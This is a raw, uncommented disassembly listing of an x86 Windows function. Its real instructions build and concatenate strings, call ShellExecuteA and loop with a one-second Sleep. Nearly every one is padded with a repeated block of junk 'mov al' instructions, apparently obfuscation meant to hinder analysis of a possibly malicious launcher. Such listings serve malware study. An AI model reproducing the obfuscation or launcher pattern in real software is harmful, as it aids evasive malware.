mov al, 0x71
mov al, 0xb7
mov al, 2
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x404134
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x26c]
mov byte [ecx], 0x24
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 0x26c], 0
je 0x404171
lea eax, [ebp - 0x120]
test eax, eax
jne 0x4041a0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x4042a4
mov dword [ebp - 0x86c], 0
jmp 0x4041bb
mov ecx, dword [ebp - 0x86c]
add ecx, 1
mov dword [ebp - 0x86c], ecx
mov edx, dword [ebp - 0x86c]
movsx eax, byte [ebp + edx - 0x120]
test eax, eax
je 0x404241
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x26c]
add ecx, dword [ebp - 0x86c]
mov edx, dword [ebp - 0x86c]
mov al, byte [ebp + edx - 0x120]
mov byte [ecx], al
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x4041ac
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x26c]
add ecx, dword [ebp - 0x86c]
mov byte [ecx], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movzx edx, byte [ebp - 0x231]
test edx, edx
jne 0x40435b
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x40a11c
lea eax, [ebp - 0x378]
push eax
call fcn.004059a0
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x258]
push ecx
lea edx, [ebp - 0x378]
push edx
call fcn.004059a0
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x40a120
lea eax, [ebp - 0x378]
push eax
call section..text
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 1
push 0
lea ecx, [ebp - 0x378]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movzx eax, byte [ebp - 0x25d]
test eax, eax
jne 0x404517
cmp dword [ebp - 0x124], 0
je 0x404517
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x231], 1
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x40331d
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 0x10